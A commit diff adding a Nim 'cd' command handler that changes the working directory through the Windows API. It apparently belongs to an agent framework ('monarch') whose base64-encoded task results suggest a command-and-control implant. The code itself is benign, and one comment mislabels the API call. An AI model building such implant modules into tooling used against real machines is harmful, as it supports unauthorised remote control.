Implemented 'cd' and 'ls' commands using Windows APIs.

agents/monarch/commands/cd.nim

@@ -0,0 +1,27 @@
+import os, strutils, base64, winim, strformat, sequtils
+import ../types
+
+proc taskCd*(task: Task): TaskResult = 
+
+    let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
+    echo fmt"Changing current working directory to {targetDirectory}."
+
+    try: 
+        # Get current working directory using GetCurrentDirectory
+        if SetCurrentDirectoryW(targetDirectory) == FALSE:         
+            raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
+
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(""),
+            status: Completed
+        )
+
+    except CatchableError as err: 
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(fmt"An error occured: {err.msg}" & "\n"),
+            status: Failed 
+        )